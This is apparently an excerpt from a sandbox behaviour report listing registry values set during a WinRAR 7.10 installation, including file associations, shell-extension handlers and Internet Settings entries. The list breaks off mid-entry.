"winrarx64-setup.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "winrar-x64-710.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "winrar-x64-710.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "winrar-x64-710.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "winrar-x64-710.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "winrar-x64-710.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\CONTENT"; Key: "CACHEPREFIX"; Value: "000000") "winrar-x64-710.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\COOKIES"; Key: "CACHEPREFIX"; Value: "Cookie:") "winrar-x64-710.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY"; Key: "CACHEPREFIX"; Value: "Visited:") "winrar-x64-710.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR SFX"; Key: "C%%PROGRAM FILES%WINRAR"; Value: "%PROGRAMFILES%\WinRAR") "winrar-x64-710.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "D60C000000000000040004000102040000000000630000000D787900010000006B507E000200000087DE83003F000000A19F5E000400010000006D00000056737D00070000006B507E00010000009829B70007000000E6C53100010004000000090000001A9CB2000100050000000100000016F0B20001006500000078030000E6C5310000") "winrar-x64-710.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "6A22000000000000040004000100010001010000F1D9A30075000200000001318E0002ABAF000571AE000708B8000C14B5000C3584000D7879000DA18100158AA20015E17A0016277B0016DDA400174B73001B4278001BF60B001C955C001DA16C001E8D52001F4EA8001F5D7A001FF77B00244BAB0024ACC700259960002989DF002A68A9002B2499002C3D810032D1A70036AC52003CB352003E33830041A8760042264A0048C24F0049E57D0049EAB7004AA710004AAA81004EBF72004F85B50053CE8400560A85005A5EB500682C900069C3A3006B767D006F0B6D00726E4A007477AD0075A37E0078EF6400799C39007CF788007FD189008106950081515D008227730083F1600084E683008550AE0087DE83008A8093008B5188008C0E7B008E78A20090F7AF00936DAD0093866100959B5100976AB60097748D00978EAB009BE07A009D9D9200A2050600A6D69A00A736A800A7B8AD00A90DAE00B1CE9800B3F1A200B79C1400BB8E8B00BBAE7E00BCFA8D00BD539800BE0CAC00C36D8100C4114C00C8464E00C9389700CC495600CDBD8C00D0175600D0725B00D08EAB00D19A7B00D1D2A700D3826100D3E88D00DAFF0E00DB6EA100E1C97700E21B5600E42A5E00E7997F00EEE17D00F17D5F00F1D9A300F1FC6000F548B100F7125E00F7D36F00F7ED6A00F8FE8200F9778C0058000600000003CC910007B3AD000858710009EF7D000BFF5C000E4D7E000FBA9E00110FAA001319830013B7B10013E9780016F0B20017349B001786A70019C398001BE978001C4452001D97A90022D38900316DBB003256AE0032E9830036A6AC00395EA700427F7A0042B3AE0042C46A0042FA5800472471004C41B4004CA770004EA059004F0CAC005CE17D00624F980069D281006B0961006E7B8C007140A300723C120072B29F0073CD610073D3A700757C860076418E0085CAA90091508A0091D3A30093168900938EAB0098B9A40099698A009CE0A8009D9FA0009F60C3009F8F6E00A02AAB00A18EAB00A1D7B300A3F76A00A522A400A58F6000A644A600A9A4C200AA1BAA00B6515D00BA146500BC88B100BC8AA700BD388F00BE558200C176B300C33EA300C456A100CC4BA700D0FE6200D1589600D6B79A00D93DAA00DC38AB00DE3D8300E17E8C00E98AA700EAB94F00EC9FBB00ED0CAD00F4AD7A00FE208B000300400100000571AE00682C9000F1D9A300010043010000C0EC7C0000") "winrar-x64-710.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "6B22000000000000040004000100010001010000F1D9A30076000200000001318E0002ABAF000571AE000708B8000C14B5000C3584000D7879000DA18100158AA20015E17A0016277B0016DDA400174B73001B4278001BF60B001C955C001DA16C001E8D52001F4EA8001F5D7A001FF77B00244BAB0024ACC700259960002989DF002A68A9002B2499002C3D810032D1A70036AC52003CB352003E33830041A8760042264A0048C24F0049E57D0049EAB7004AA710004AAA81004EBF72004F85B50053CE8400560A85005A5EB500682C900069C3A3006B767D006F0B6D00726E4A007477AD0075A37E0078EF6400799C39007CF788007FD189008106950081515D008227730083F1600084E683008550AE0087DE83008A8093008B5188008C0E7B008E78A20090F7AF00936DAD0093866100959B5100976AB60097748D00978EAB009BE07A009D9D9200A2050600A6D69A00A736A800A7B8AD00A90DAE00B1CE9800B3F1A200B79C1400BB8E8B00BBAE7E00BCFA8D00BD539800BE0CAC00C36D8100C4114C00C8464E00C9389700CA23B700CC495600CDBD8C00D0175600D0725B00D08EAB00D19A7B00D1D2A700D3826100D3E88D00DAFF0E00DB6EA100E1C97700E21B5600E42A5E00E7997F00EEE17D00F17D5F00F1D9A300F1FC6000F548B100F7125E00F7D36F00F7ED6A00F8FE8200F9778C0058000600000003CC910007B3AD000858710009EF7D000BFF5C000E4D7E000FBA9E00110FAA001319830013B7B10013E9780016F0B20017349B001786A70019C398001BE978001C4452001D97A90022D38900316DBB003256AE0032E9830036A6AC00395EA700427F7A0042B3AE0042C46A0042FA5800472471004C41B4004CA770004EA059004F0CAC005CE17D00624F980069D281006B0961006E7B8C007140A300723C120072B29F0073CD610073D3A700757C860076418E0085CAA90091508A0091D3A30093168900938EAB0098B9A40099698A009CE0A8009D9FA0009F60C3009F8F6E00A02AAB00A18EAB00A1D7B300A3F76A00A522A400A58F6000A644A600A9A4C200AA1BAA00B6515D00BA146500BC88B100BC8AA700BD388F00BE558200C176B300C33EA300C456A100CC4BA700D0FE6200D1589600D6B79A00D93DAA00DC38AB00DE3D8300E17E8C00E98AA700EAB94F00EC9FBB00ED0CAD00F4AD7A00FE208B000300400100000571AE00682C9000F1D9A300010043010000C0EC7C0000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.RAR"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ZIP"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.CAB"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ARJ"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.LZ"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.LZH"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.7Z"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TAR"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.GZ"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.UUE"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.BZ2"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.JAR"; Key: "SET"; Value: "0000000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ISO"; Key: "SET"; Value: "0000000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.Z"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.XZ"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ZIPX"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ZST"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.001"; Key: "SET"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\LINKS"; Key: "DESKTOP"; Value: "0000000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\LINKS"; Key: "STARTMENU"; Value: "0000000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\LINKS"; Key: "PROGRAMS"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP"; Key: "SHELLEXT"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP"; Key: "CASCADEDMENU"; Value: "0000000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP"; Key: "MENUICONS"; Value: "0100000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP"; Key: "LEGACYMENU"; Value: "0000000000") "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINRAR.EXE"; Key: "(DEFAULT)"; Value: "%PROGRAMFILES%\WinRAR\WinRAR.exe"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR"; Key: "EXE64"; Value: "%PROGRAMFILES%\WinRAR\WinRAR.exe"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINRAR.EXE"; Key: "PATH"; Value: "%PROGRAMFILES%\WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{B41DB860-8EE4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\INPROCSERVER32"; Key: "(DEFAULT)"; Value: "%PROGRAMFILES%\WinRAR\rarext32.dll"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "Apartment"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR\SHELLEX\PROPERTYSHEETHANDLERS\{B41DB860-8EE4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.ZIP\SHELLEX\PROPERTYSHEETHANDLERS\{B41DB860-8EE4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELLEX\PROPERTYSHEETHANDLERS\{B41DB860-8EE4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR\SHELLEX\DROPHANDLER"; Key: "(DEFAULT)"; Value: "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.ZIP\SHELLEX\DROPHANDLER"; Key: "(DEFAULT)"; Value: "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\FOLDER\SHELLEX\DRAGDROPHANDLERS\WINRAR32"; Key: "(DEFAULT)"; Value: "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\DRIVE\SHELLEX\DRAGDROPHANDLERS\WINRAR32"; Key: "(DEFAULT)"; Value: "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SHELL EXTENSIONS\APPROVED"; Key: "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"; Value: "WinRAR shell extension"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR\SHELLEX\CONTEXTMENUHANDLERS\{B41DB860-8EE4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.ZIP\SHELLEX\CONTEXTMENUHANDLERS\{B41DB860-8EE4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\WINRAR32"; Key: "(DEFAULT)"; Value: "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\FOLDER\SHELLEX\CONTEXTMENUHANDLERS\WINRAR32"; Key: "(DEFAULT)"; Value: "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\LNKFILE\SHELLEX\CONTEXTMENUHANDLERS\WINRAR32"; Key: "(DEFAULT)"; Value: "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\INPROCSERVER32"; Key: "(DEFAULT)"; Value: "%PROGRAMFILES%\WinRAR\rarext.dll"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "Apartment"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR\SHELLEX\PROPERTYSHEETHANDLERS\{B41DB860-64E4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.ZIP\SHELLEX\PROPERTYSHEETHANDLERS\{B41DB860-64E4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELLEX\PROPERTYSHEETHANDLERS\{B41DB860-64E4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR\SHELLEX\DROPHANDLER"; Key: "(DEFAULT)"; Value: "{B41DB860-64E4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.ZIP\SHELLEX\DROPHANDLER"; Key: "(DEFAULT)"; Value: "{B41DB860-64E4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\FOLDER\SHELLEX\DRAGDROPHANDLERS\WINRAR"; Key: "(DEFAULT)"; Value: "{B41DB860-64E4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\DRIVE\SHELLEX\DRAGDROPHANDLERS\WINRAR"; Key: "(DEFAULT)"; Value: "{B41DB860-64E4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SHELL EXTENSIONS\APPROVED"; Key: "{B41DB860-64E4-11D2-9906-E49FADC173CA}"; Value: "WinRAR shell extension"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR\SHELLEX\CONTEXTMENUHANDLERS\{B41DB860-64E4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.ZIP\SHELLEX\CONTEXTMENUHANDLERS\{B41DB860-64E4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\WINRAR"; Key: "(DEFAULT)"; Value: "{B41DB860-64E4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\FOLDER\SHELLEX\CONTEXTMENUHANDLERS\WINRAR"; Key: "(DEFAULT)"; Value: "{B41DB860-64E4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\LNKFILE\SHELLEX\CONTEXTMENUHANDLERS\WINRAR"; Key: "(DEFAULT)"; Value: "{B41DB860-64E4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\REGISTEREDAPPLICATIONS"; Key: "WINRAR"; Value: "Software\WinRAR\Capabilities"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES"; Key: "APPLICATIONDESCRIPTION"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".RAR"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".ZIP"; Value: "WinRAR.ZIP"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".CAB"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".ARJ"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".LZ"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".TLZ"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".LZH"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".LHA"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".7Z"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".TAR"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".GZ"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".TGZ"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".UUE"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".XXE"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".UU"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".BZ2"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".TBZ2"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".BZ"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".TBZ"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".JAR"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".ISO"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".Z"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".TAZ"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".XZ"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".TXZ"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".ZIPX"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".ZST"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".TZST"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WINRAR\CAPABILITIES\FILEASSOCIATIONS"; Key: ".001"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER"; Key: "GLOBALASSOCCHANGEDCOUNTER"; Value: "8D00000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.RAR"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.RAR"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.RAR"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.RAR"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.RAR\SHELLNEW"; Key: "FILENAME"; Value: "%PROGRAMFILES%\WinRAR\rarnew.dat"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ZIP"; Key: "EXIST"; Value: "0100000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ZIP"; Key: "TYPE"; Value: "CompressedFolder"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ZIP"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.ZIP"; Key: "(DEFAULT)"; Value: "WinRAR.ZIP"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.ZIP\SHELLNEW"; Key: "FILENAME"; Value: "%PROGRAMFILES%\WinRAR\zipnew.dat"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.CAB"; Key: "EXIST"; Value: "0100000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.CAB"; Key: "TYPE"; Value: "CABFolder"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.CAB"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.CAB"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ARJ"; Key: "EXIST"; Value: "0100000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ARJ"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ARJ"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.ARJ"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.LZ"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.LZ"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.LZ"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.LZ"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TLZ"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: 